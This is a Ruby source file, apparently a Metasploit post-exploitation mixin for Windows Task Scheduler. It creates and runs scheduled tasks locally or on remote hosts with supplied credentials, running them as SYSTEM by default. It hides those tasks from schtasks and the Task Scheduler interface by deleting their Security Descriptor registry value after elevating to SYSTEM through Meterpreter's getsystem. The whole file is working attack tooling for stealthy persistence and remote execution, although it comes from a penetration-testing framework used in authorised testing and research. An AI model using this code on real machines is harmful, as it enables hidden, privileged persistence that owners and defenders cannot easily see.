# -*- coding: binary -*-

module Msf
  class Post
    module Windows
      #
      # Post module mixin for dealing with Windows Task Scheduler
      #
      module TaskScheduler # rubocop:disable Metrics/ModuleLength
        include ::Msf::Post::Common
        include ::Msf::Post::Windows::Priv
        include ::Msf::Module::UI::Message

        class TaskSchedulerError < StandardError; end
        class TaskSchedulerObfuscationError < TaskSchedulerError; end
        class TaskSchedulerSystemPrivsError < TaskSchedulerError; end

        TASK_REG_KEY = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree'.freeze
        # Security descriptor value
        TASK_SD_REG_VALUE = 'SD'.freeze
        # This Security Descriptor correspond to the builtin 'Guest' user and
        # built-in 'Guests' group. This has been generated from the following
        # security descriptor string: "O:BGG:BG"
        DEFAULT_SD = '01000080140000002400000000000000000000000102000000000005200000002202000001020000000000052000000022020000'.freeze
        # HRESULT returned in the field `Last Result` by `schtasks /query` when
        # the task is currently running (see
        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/705fb797-2175-4a90-b5a3-3918024b10b8)
        SCHED_S_TASK_RUNNING = 0x00041301
        DEFAULT_SCHEDULE_TASK_TYPE = 'ONSTART'.freeze
        DEFAULT_SCHEDULE_MODIFIER = 1
        DEFAULT_SCHEDULE_RUNAS = 'SYSTEM'.freeze
        DEFAULT_SCHEDULE_OBFUSCATION_TECHNIQUE = 'SECURITY_DESC'.freeze

        def initialize(info = {})
          super

          register_advanced_options(
            [
              OptEnum.new(
                'ScheduleType', [
                  true,
                  'Schedule frequency for the new created task.',
                  DEFAULT_SCHEDULE_TASK_TYPE,
                  %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONCE ONSTART ONLOGON ONIDLE]
                ]
              ),
              # This defines the amount of minutes/hours/days/weeks/months,
              # depending on the ScheduleType value. When ONIDLE type is used,
              # this represents how many minutes the computer is idle before
              # the task starts. This value is not used with ONCE, ONSTART and
              # ONLOGON types
              OptInt.new(
                'ScheduleModifier', [
                  false,
                  'Schedule frequency modifier to define the amount of \'ScheduleType\'',
                  DEFAULT_SCHEDULE_MODIFIER
                ],
                conditions: ['ScheduleType', 'in', %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONIDLE] ]
              ),
              # Remote task creation does not seem to work on Windows XP and Windows Server 2003
              OptString.new(
                'ScheduleRemoteSystem', [
                  false,
                  'The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.'
                ]
              ),
              # Use the permissions of this remote user account to schedule the
              # task remotely. It is recommended to inform the domain or '.\'
              # if it is a local user (e.g. MYDOMAIN\User1 or .\Administrator).
              # Also, when `ScheduleRemoteSystem` is set and not
              # `ScheduleUsername` and `SchedulePassword`, the current user
              # credentials are used.
              OptString.new(
                'ScheduleUsername', [
                  false,
                  'User account to schedule the task remotely.'
                ],
                conditions: ['ScheduleRemoteSystem', 'nin', [nil, '']]
              ),
              OptString.new(
                'SchedulePassword', [
                  false,
                  'Password of the user account set in \'ScheduleUsername\'.'
                ],
                conditions: ['ScheduleRemoteSystem', 'nin', [nil, '']]
              ),
              OptString.new(
                'ScheduleRunAs', [
                  false,
                  'Execute the task under this user account (default: SYSTEM).',
                  DEFAULT_SCHEDULE_RUNAS
                ]
              ),
              # Hide the task from "schtasks /query" and Task Scheduler by
              # deleting the associated Security Descriptor registry value.
              # Note that SYSTEM privileges are needed for this. It will try to
              # elevate privileges if the session is not already running under
              # the SYSTEM user.'
              #
              # To list SECURITY_DESC items, the following ps command can be used
              # Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File | Select-Object FullName
              OptEnum.new(
                'ScheduleObfuscationTechnique', [
                  false,
                  'Hide the task from "schtasks /query" and Task Scheduler (WARNING: the current '\
                  'session will be elevated to SYSTEM if it is not already) for this.',
                  DEFAULT_SCHEDULE_OBFUSCATION_TECHNIQUE,
                  %w[NONE SECURITY_DESC]
                ]
              )
            ], self.class
          )
        end

        def setup
          super
          check_compatibility
        end

        #
        # Create a scheduled task on a local or remote system.
        # Options are set from the datastore but can be overridden with the +opts+ hash.
        #
        # @param [String] task_name The name of the task to be created
        # @param [String] task_cmd The command that will be executed by the task
        # @param [Hash] opts The options to create the task
        # @option opts [String] :task_type The schedule frequency for the new
        #   created task. This can be one of these type: MINUTE HOURLY DAILY
        #   WEEKLY MONTHLY ONCE ONSTART ONLOGON ONIDLE.
        # @option opts [String] :modifier The schedule frequency modifier to define the amount of +:task_type+
        # @option opts [String] :runas The account under which the task will be executed
        # @option opts [String] :obfuscation The obfuscation technique used to
        #   hide the task from "schtasks /query" and Task Scheduler when the OS
        #   support it. The possible technique are:
        #   - NONE: no obfuscation will be performed
        #   - SECURITY_DESC: The Security Descriptor registry entry
        #     corresponding to this task is removed to hide it. It will try to
        #     elevate privileges if the session is not already running under
        #     the SYSTEM user.
        # @option opts [String] :remote_system The remote system to connect to
        #   (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.
        # @option opts [String] :username The user account to schedule the task remotely
        # @option opts [String] :password The password of the user account set in +:username+
        def task_create(task_name, task_cmd, opts = {})
          schtasks_cmd = ['/create']
          task_type = opts[:task_type] || (datastore['ScheduleType'].present? ? datastore['ScheduleType'] : DEFAULT_SCHEDULE_TASK_TYPE)
          schtasks_cmd += ['/tn', "\"#{task_name}\"", '/tr', "\"#{task_cmd}\"", '/sc', task_type]
          if %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONIDLE].include?(task_type)
            modifier = opts[:modifier] || (datastore['ScheduleModifier'].present? ? datastore['ScheduleModifier'].to_s : DEFAULT_SCHEDULE_MODIFIER.to_s)
            if task_type == 'ONIDLE'
              schtasks_cmd += ['/i', modifier]
            else
              schtasks_cmd += ['/mo', modifier]
            end
          end
          unless %w[ONSTART ONLOGON ONIDLE].include?(task_type)
            schtasks_cmd += ['/st', '00:00:00']
          end
          runas = opts[:runas] || (datastore['ScheduleRunAs'].present? ? datastore['ScheduleRunAs'] : DEFAULT_SCHEDULE_RUNAS)
          schtasks_cmd += ['/ru', runas]
          schtasks_cmd << '/f' unless @old_schtasks

          begin
            schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
          rescue TaskSchedulerError => e
            log_and_print("[Task Scheduler] Task creation failed: #{e}", level: :error)
            raise
          end

          # We want to make sure `opts` has preference over the datastore option
          obfuscation = opts.fetch(:obfuscation, datastore['ScheduleObfuscationTechnique'])
          return if obfuscation.nil? || obfuscation == 'NONE'

          begin
            delete_reg_key_value("#{TASK_REG_KEY}\\#{task_name}", TASK_SD_REG_VALUE, opts)
          rescue TaskSchedulerObfuscationError => e
            log_and_print("[Task Scheduler] Task obfuscation failed: #{e}")
            raise TaskSchedulerObfuscationError, 'Task obfuscation failed (the task has been created but won\'t be hidden)'
          end
        end

        #
        # Immediately run a scheduled task.
        # Options are set from the datastore but can be overridden with the +opts+ hash.
        #
        # @param [String] task_name The name of the task to be run
        # @param [Hash] opts The options to run the task
        # @option opts [String] :remote_system The remote system to connect to
        #   (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.
        # @option opts [String] :username The user account to run the task remotely
        # @option opts [String] :password The password of the user account set in +:username+
        def task_start(task_name, opts = {})
          schtasks_cmd = ['/run', '/tn', task_name]
          schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
        rescue TaskSchedulerError => e
          log_and_print("[Task Scheduler] Task starting failed: #{e}", level: :error)
          raise
        end

        #
        # Delete a scheduled task.
        # Options are set from the datastore but can be overridden with the +opts+ hash.
        #
        # @param [String] task_name The name of the task to be deleted
        # @param [Hash] opts The options to delete the task
        # @option opts [String] :obfuscation The obfuscation technique used to
        #   hide the task from "schtasks /query" and Task Scheduler when the OS
        #   support it. Set this option to the correct technique in order to be
        #   able to delete the task properly. The possible technique are:
        #   - NONE: no obfuscation has been performed
        #   - SECURITY_DESC: The Security Descriptor registry entry
        #     corresponding to this task was removed to hide it. This will
        #     restore it before attempting to delete the task. For this, it
        #     will also try to elevate privileges if the session is not already
        #     running under the SYSTEM user.
        # @option opts [String] :remote_system The remote system to connect to
        #   (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.
        # @option opts [String] :username The user account to run the task remotely
        # @option opts [String] :password The password of the user account set in +:username+
        def task_delete(task_name, opts = {})
          # We want to make sure `opts` has preference over the datastore option
          obfuscation = opts.fetch(:obfuscation, datastore['ScheduleObfuscationTechnique'])
          if obfuscation && obfuscation != 'NONE'
            begin
              add_reg_key_value("#{TASK_REG_KEY}\\#{task_name}", TASK_SD_REG_VALUE, DEFAULT_SD, 'REG_BINARY', opts)
            rescue TaskSchedulerObfuscationError => e
              log_and_print("[Task Scheduler] Task deletion failed: #{e}")
              raise TaskSchedulerError, 'Task deobfuscation failed. The task cannot be deleted.'
            end
          end

          schtasks_cmd = ['/delete', '/tn', task_name, '/f']
          schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
        rescue TaskSchedulerError => e
          log_and_print("[Task Scheduler] Task deletion failed: #{e}", level: :error)
          raise
        end

        #
        # Display the scheduled task information.
        # Options are set from the datastore but can be overridden with the +opts+ hash.
        #
        # @param [String] task_name The name of the task to be display
        # @param [Hash] opts The options to display the task
        # @option opts [String] :remote_system The remote system to connect to
        #   (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.
        # @option opts [String] :username The user account to run the task remotely
        # @option opts [String] :password The password of the user account set in +:username+
        def task_query(task_name, opts = {})
          if @old_os
            schtasks_cmd = ['/query', '/v', '/fo', 'csv']
          else
            schtasks_cmd = ['/query', '/tn', task_name, '/v', '/fo', 'csv', '/hresult']
          end
          schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts), with_result: true)
        rescue TaskSchedulerError => e
          log_and_print("[Task Scheduler] Task querying failed: #{e}", level: :error)
          raise
        end

        #
        # Module functions that are made private to classes that mix on this module
        #

        module_function

        def check_compatibility
          # Check Windows version to make sure we will use the correct supported command flags
          # - `schtasks.exe` on Windows prior to Windows Server 2003 SP1 has
          #   some different `/create` option flags.
          # - `schtasks.exe` on Windows prior to Vista has some
          #   different `/query` option flags - set @old_os to true
          # Also, on these OSes, `reg.exe` does not support the `/reg:64` flag.

          @old_schtasks = false
          @old_os = false

          version = get_version_info
          if version.build_number < Msf::WindowsVersion::Vista_SP0
            @old_os = true
            if version.build_number < Msf::WindowsVersion::Server2003_SP1
              @old_schtasks = true
            end
            if datastore['ScheduleRemoteSystem'].present?
              log_and_print(
                '[Task Scheduler] This OS version does not support remote schedule tasks. This is likely to fail.',
                level: :warning
              )
            end
          end
        end

        def log_and_print(msg, level: :debug)
          case level
          when :debug
            vprint_status(msg) if respond_to?(:vprint_status)
            dlog(msg)
          when :status
            vprint_status(msg) if respond_to?(:vprint_status)
            ilog(msg)
          when :warning
            vprint_warning(msg) if respond_to?(:vprint_warning)
            wlog(msg)
          when :error
            vprint_error(msg) if respond_to?(:vprint_error)
            elog(msg)
          end
        end

        def get_schtasks_cmd_string(schtasks_cmd, opts = {})
          cmd = schtasks_cmd.dup
          cmd.prepend('schtasks')
          system = opts[:remote_system] || (datastore['ScheduleRemoteSystem'].present? ? datastore['ScheduleRemoteSystem'] : nil)
          cmd += ['/s', system] if system
          username = opts[:username] || (datastore['ScheduleUsername'].present? ? datastore['ScheduleUsername'] : nil)
          cmd += ['/u', username] if username
          password = opts[:password] || (datastore['SchedulePassword'].present? ? datastore['SchedulePassword'] : nil)
          cmd += ['/p', password] if password
          cmd.join(' ')
        end

        def schtasks_exec(schtasks_cmd_str, with_result: false)
          log_and_print("[Task Scheduler] executing command: #{schtasks_cmd_str}")
          # Using a longer timeout in case the task scheduler operation takes place
          # on a remote host. The default timeout is not enough.
          result = cmd_exec_with_result(schtasks_cmd_str, nil, 240)
          return result if with_result
          unless result[1]
            raise TaskSchedulerError, "Command execution failed: #{result[0]}"
          end
        end

        def get_system_privs
          return if is_system?

          unless session.type == 'meterpreter'
            error = "Incompatible session type (#{session.type}), cannot get SYSTEM "\
                    'privileges to obfuscate the scheduled task.'
            log_and_print("[Task Scheduler] #{error}", level: :error)
            raise TaskSchedulerSystemPrivsError, error
          end
          unless session.ext.priv
            error = 'This Meterpreter session does not support `priv` extension, cannot '\
                    'get SYSTEM privileges to obfuscate the scheduled task.'
            log_and_print("[Task Scheduler] #{error}", level: :error)
            raise TaskSchedulerSystemPrivsError, error
          end
          log_and_print('[Task Scheduler] Trying to get SYSTEM privilege')
          results = session.priv.getsystem
          if results[0]
            log_and_print('[Task Scheduler] Got SYSTEM privilege')
          else
            raise TaskSchedulerSystemPrivsError
          end
        end

        def task_info_field(task_name, task_info, key)
          task_name = task_name.delete_prefix('"').delete_suffix('"')
          key = key.delete_prefix('"').delete_suffix('"')
          task_info = task_info.lines
          title_array = task_info.shift&.split(',')
          return unless title_array

          index_taskname = title_array.find_index { |v| v == '"TaskName"' }
          return unless index_taskname

          index = title_array.find_index { |v| v == "\"#{key}\"" }
          return unless index

          task_info.each do |line|
            value_array = line.split(',')
            next unless value_array[index_taskname] == "\"\\#{task_name}\""

            return value_array[index]&.delete_prefix('"')&.delete_suffix('"')
          end
          nil
        end

        def task_has_run?(task_name, task_info)
          # Depending on the Windows version, the 'Last Run Time' field is set
          # to '11/30/1999 12:00:00 AM' or 'N/A' when the task has not run yet
          !['11/30/1999 12:00:00 AM', 'N/A'].include?(task_info_field(task_name, task_info, 'Last Run Time'))
        end

        def task_is_still_running?(task_name, task_info)
          task_info_field(task_name, task_info, 'Last Result') == SCHED_S_TASK_RUNNING.to_s
        end

        def run_one_off_task(cmd, check_success: false)
          result = nil
          task_name = Rex::Text.rand_text_alpha(rand(8..15))
          log_and_print("[Task Scheduler] Creating the remote task #{task_name} to run '#{cmd}'")
          # Obfuscation is not possible since #run_one_off_task will be called
          # again by #task_create when it checks if the registry key value
          # exists. This will enter an infinite loop, creating tasks on the
          # remote host until it explodes. We certainly don't want this to happen!
          opts = { task_type: 'ONCE', runas: 'SYSTEM', obfuscation: 'NONE' }
          task_create(task_name, cmd, opts)

          log_and_print("[Task Scheduler] Starting the remote task #{task_name}")
          task_start(task_name)

          if check_success
            log_and_print('[Task Scheduler] Checking if the task succeeded')
            result = false
            try = 0
            task_info = nil
            has_run = loop do
              break false unless try < 5

              try += 1
              log_and_print("[Task Scheduler] Checking if the task has run already (##{try})")
              sleep 1
              task_info = task_query(task_name)[0]
              break true if task_has_run?(task_name, task_info) && !task_is_still_running?(task_name, task_info)
            end
            if has_run
              # The result is '0' if it succeeded
              last_result = task_info_field(task_name, task_info, 'Last Result')
              result = last_result == '0'
              if result
                log_and_print('[Task Scheduler] It seems to have succeeded')
              else
                log_and_print("[Task Scheduler] It seems to have failed (0x#{last_result.to_i.to_s(16)})", level: :warning)
              end
            end
          end

          log_and_print("[Task Scheduler] Deleting the remote task #{task_name}")
          task_delete(task_name, opts)

          result
        end

        def reg_key_value_exists?(reg_key, reg_value, opts = {})
          remote_host = opts[:remote_system].present? || datastore['ScheduleRemoteSystem'].present?
          result = false
          if remote_host
            begin
              result = run_one_off_task("reg query \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\"", check_success: true)
            rescue TaskSchedulerError => e
              log_and_print("[Task Scheduler] Could not query the key value remotely: #{e}")
            end
          else
            # The `/reg:64` flag is here to force read/write to the 64-bit
            # registry location. This is mandatory when the Meterpreter session
            # is x86 and the OS is x64. Since it is ignored on 32-bit systems,
            # we will always use it. Also, this option doesn't exist on Windows
            # XP/Server 2003, we need to remove it or it will fail.
            result = cmd_exec_with_result("reg query \"#{reg_key}\" /v \"#{reg_value}\"#{' /reg:64' unless @old_os}")[1]
          end

          result
        end

        def delete_reg_key_value(reg_key, reg_value, opts = {})
          log_and_print('[Task Scheduler] Removing the Security Descriptor registry key value to hide the task')

          log_and_print('[Task Scheduler] Checking if the key value exists')
          unless reg_key_value_exists?(reg_key, reg_value)
            raise TaskSchedulerObfuscationError, "The #{reg_value} key value does not exist. Obfuscation is not possible"
          end

          begin
            get_system_privs
          rescue TaskSchedulerSystemPrivsError
            raise TaskSchedulerObfuscationError, 'Could not obtain SYSTEM privilege, which is needed to delete the key value.'
          end

          remote_host = opts[:remote_system] || datastore['ScheduleRemoteSystem']
          log_and_print("[Task Scheduler] Deleting #{reg_value} in #{reg_key}#{" on remote host #{remote_host}" if remote_host.present?}")
          if remote_host.present?
            begin
              run_one_off_task("reg delete \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\" /f")
            rescue TaskSchedulerError => e
              raise TaskSchedulerObfuscationError, "Could not delete the key value: #{e}"
            end
          else
            result = cmd_exec_with_result("reg delete \"#{reg_key}\" /v \"#{reg_value}\" /f#{' /reg:64' unless @old_os}", nil, 15, { 'UseThreadToken' => true })
            unless result[1]
              raise TaskSchedulerObfuscationError, "Could not delete the key value. Error: #{result[0]}"
            end
          end
        end

        def add_reg_key_value(reg_key, reg_value, reg_data, reg_type, opts = {})
          log_and_print('[Task Scheduler] Restoring the Security Descriptor registry key value to unhide the task')

          # Override by default. It has to be explicitly set to false if we don't want the key to be overridden.
          unless opts[:override].nil? || opts[:override]
            log_and_print('[Task Scheduler] Checking if the key value exists')
            if reg_key_value_exists?(reg_key, reg_value)
              log_and_print("The #{reg_value} key value already exist. Set `opts[:override]` to true to override the value", level: :warning)
              return
            end
          end

          begin
            get_system_privs
          rescue TaskSchedulerSystemPrivsError
            raise TaskSchedulerObfuscationError, 'Could not obtain SYSTEM privilege, which is needed to restore the key value.'
          end

          remote_host = opts[:remote_system] || datastore['ScheduleRemoteSystem']
          log_and_print("[Task Scheduler] Adding #{reg_value} in #{reg_key}#{" on remote host #{remote_host}" if remote_host.present?}")
          if remote_host.present?
            begin
              run_one_off_task("reg add \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\" /t #{reg_type} /d \\\"#{reg_data}\\\" /f")
            rescue TaskSchedulerError => e
              raise TaskSchedulerObfuscationError, "Could not restore the key value: #{e}"
            end
          else
            result = cmd_exec_with_result("reg add \"#{reg_key}\" /v \"#{reg_value}\" /t #{reg_type} /d \"#{reg_data}\" /f#{' /reg:64' unless @old_os}", nil, 15, { 'UseThreadToken' => true })
            unless result[1]
              raise TaskSchedulerObfuscationError, "Could not restore the key value. Error: #{result[0]}"
            end
          end
        end
      end
    end
  end
end
